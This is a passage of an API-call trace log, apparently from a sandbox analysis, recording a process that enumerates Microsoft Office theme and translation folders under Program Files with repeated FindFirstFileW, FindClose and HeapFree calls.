hHeap=0x550000) returned 1 [0196.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.175] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.175] GetProcessHeap () returned 0x550000 [0196.175] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.175] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.176] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.176] GetProcessHeap () returned 0x550000 [0196.176] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.177] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.177] GetProcessHeap () returned 0x550000 [0196.177] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.178] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.178] GetProcessHeap () returned 0x550000 [0196.178] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.178] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.178] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.179] GetProcessHeap () returned 0x550000 [0196.179] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.179] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.179] GetProcessHeap () returned 0x550000 [0196.179] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.180] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.180] GetProcessHeap () returned 0x550000 [0196.180] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.181] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.181] GetProcessHeap () returned 0x550000 [0196.181] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.181] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.182] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.182] GetProcessHeap () returned 0x550000 [0196.182] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.182] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.185] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.185] GetProcessHeap () returned 0x550000 [0196.185] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.185] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.186] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.186] GetProcessHeap () returned 0x550000 [0196.186] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.186] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.289] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.289] GetProcessHeap () returned 0x550000 [0196.289] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.290] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.290] GetProcessHeap () returned 0x550000 [0196.290] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.290] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.290] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.290] GetProcessHeap () returned 0x550000 [0196.290] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.291] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.291] GetProcessHeap () returned 0x550000 [0196.291] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.292] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.292] GetProcessHeap () returned 0x550000 [0196.292] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.292] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.292] GetProcessHeap () returned 0x550000 [0196.292] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.293] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.293] GetProcessHeap () returned 0x550000 [0196.293] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.293] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.294] GetProcessHeap () returned 0x550000 [0196.294] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.294] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.294] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.294] GetProcessHeap () returned 0x550000 [0196.294] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.294] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.295] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.295] GetProcessHeap () returned 0x550000 [0196.295] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.295] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.295] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.296] GetProcessHeap () returned 0x550000 [0196.296] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.296] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.296] GetProcessHeap () returned 0x550000 [0196.296] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.297] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.297] GetProcessHeap () returned 0x550000 [0196.297] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.297] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.297] GetProcessHeap () returned 0x550000 [0196.297] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.298] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.299] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.299] GetProcessHeap () returned 0x550000 [0196.299] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.299] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.299] GetProcessHeap () returned 0x550000 [0196.299] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.300] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.300] GetProcessHeap () returned 0x550000 [0196.300] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.300] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.301] GetProcessHeap () returned 0x550000 [0196.301] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.302] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.302] GetProcessHeap () returned 0x550000 [0196.302] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.303] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.303] GetProcessHeap () returned 0x550000 [0196.303] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 